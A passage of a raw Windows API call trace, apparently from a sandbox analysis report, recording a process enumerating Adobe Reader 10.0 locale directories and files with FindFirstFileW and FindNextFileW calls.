ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.152] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0148.153] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.153] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.153] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.153] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.154] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NOR", cAlternateFileName="")) returned 1 [0148.154] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.154] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0148.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.156] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.156] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0148.157] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.158] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.158] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.158] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.158] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.NLD", cAlternateFileName="")) returned 1 [0148.159] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.159] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl_PL", cAlternateFileName="")) returned 1 [0148.159] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.161] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.161] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0148.162] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.162] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.162] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.162] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.162] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0148.163] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.163] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0148.163] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.164] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.164] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="ACCESS~1.PTB")) returned 1 [0148.166] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.167] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.167] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fab, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.167] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.167] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.PTB", cAlternateFileName="")) returned 1 [0148.167] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.167] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0148.167] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.169] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.169] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUM", cAlternateFileName="ACCESS~1.RUM")) returned 1 [0148.170] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.170] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.170] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x93a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.171] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0148.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.171] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.RUM", cAlternateFileName="")) returned 1 [0148.171] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.171] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0148.171] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.173] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.173] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.RUS", cAlternateFileName="ACCESS~1.RUS")) returned 1 [0148.174] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0148.175] FindNextFileW (in: 